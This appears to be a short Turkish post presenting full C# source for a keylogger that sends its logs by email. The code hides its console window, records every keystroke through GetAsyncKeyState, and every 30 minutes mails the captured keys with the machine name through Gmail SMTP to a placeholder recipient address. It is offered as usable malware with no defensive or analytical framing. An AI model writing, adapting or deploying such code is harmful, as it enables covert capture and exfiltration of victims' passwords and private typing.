C# mail destekli keyloger 2014

C# ile mail gönderen keyloger,log yollama

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        internal static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll")]
        internal static extern int GetAsyncKeyState(Int32 i);
 
        internal static bool IsDebugging = false;
        internal static List<string> buffer = new List<string>();
        internal const int EmailTimeInterval = 30*60*1000;//min
 
        static void Main(string[] args)
        {
            //Handle
            if (args.Length > 0)
            {
                if (args.Length == 1)
                {
                    if (args[0].ToString().Equals("/d"))
                    {
                        IsDebugging = true;
                    }
                }
            }
 
            if (!IsDebugging)
            {
                IntPtr windowHandle = Process.GetCurrentProcess().MainWindowHandle;
                ShowWindowAsync(windowHandle, 0);
            }
 
            Thread loggingThread = new Thread(new ThreadStart(StartLogging));
            Thread communicationThread = new Thread(new ThreadStart(SendMail));
 
            loggingThread.Start();
            communicationThread.Start();
 
            StartLogging();
        }
 
        private static void StartLogging()
        {
            try
            {
                while (true)
                {
                    Thread.Sleep(10);
                    for (Int32 i = 0; i < 255; i++)
                    {
                        int keyState = GetAsyncKeyState(i);
                        if (keyState == 1 || keyState == -32767)
                        {
                            if (IsDebugging)
                            {
                                Console.WriteLine(((Keys)i) + ":" + DateTime.Now.ToString("H:mm:ss"));
                            }
                            else
                            {
                                buffer.Add(((Keys)i).ToString()+".");
                            }
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
 
        private static void SendMail()
        {
 
            try
            {
                var fromAddress = new MailAddress("gondere@gmail.com", "from_name");
                var toAddress = new MailAddress("gonderilecekadres@gmail.com", "to_name");
                const string fromPassword = "mailşifresi";
                string subject = System.Environment.MachineName.ToString();
                string body = "";
 
                var smtp = new SmtpClient
                {
                    Host = "smtp.gmail.com",
                    Port = 587,
                    EnableSsl = true,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
                };                
 
                while (true)
                {
                    if (IsDebugging)
                    {
                        Thread.Sleep(2 * 60 * 1000);//2min
                    }
                    else
                    {
                        Thread.Sleep(EmailTimeInterval);
                    }
 
                    //construct body
                    int lowerBound = buffer.Count;//mark current count                    
                    for (int i = 0; i < lowerBound; i++)
                    {
                        body += buffer[i];
                    }
 
                    buffer.RemoveRange(0, lowerBound);
                    lowerBound = 0;
 
                    if (IsDebugging)
                    {
                        MessageBox.Show(body);
                    }
 
                    using (var message = new MailMessage(fromAddress, toAddress)
                    {
                        Subject = subject,
                        Body = body
                    })
                    {
                        smtp.Send(message);
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.ToString());
                }
            }
        }        
    }
}